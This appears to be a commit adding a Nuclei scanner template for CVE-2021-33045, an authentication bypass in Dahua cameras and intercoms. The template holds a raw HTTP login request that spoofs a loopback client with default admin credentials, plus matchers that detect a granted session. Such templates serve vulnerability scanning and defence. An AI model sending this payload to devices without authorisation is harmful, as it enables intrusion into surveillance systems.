Created CVE-2021-33045.yaml (Dahua IPC/VTH/VTO - Authentication Bypass) KEV

http/cves/2021/CVE-2021-33045.yaml

@@ -0,0 +1,61 @@
+id: CVE-2021-33045
+
+info:
+  name: Dahua IPC/VTH/VTO - Authentication Bypass
+  author: phantomowl
+  severity: critical
+  description: |
+    The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
+  reference:
+    - https://seclists.org/fulldisclosure/2021/Oct/13
+    - https://www.dahuasecurity.com/aboutUs/trustedCenter/details/582
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-33045
+    cwe-id: CWE-287
+    epss-score: 0.93811
+    epss-percentile: 0.99853
+    cpe: cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: dahuasecurity
+    product: ipc-hum7xxx_firmware
+  tags: cve,cve2021,dahua,auth-bypass,seclists,kev
+
+http:
+  - raw:
+      - |
+        POST /RPC2_Login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {
+          "method": "global.login",
+          "params": {
+            "userName": "admin",
+            "ipAddr": "127.0.0.1",
+            "loginType": "Loopback",
+            "clientType": "Local",
+            "authorityType": "Default",
+            "passwordType": "Plain",
+            "password": "admin"
+          },
+          "id": 1,
+          "session": 0
+        }
+
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"session":'
+          - '"result":true'
+          - '"keepAliveInterval":'
+        condition: and
+
+      - type: status
+        status:
+          - 200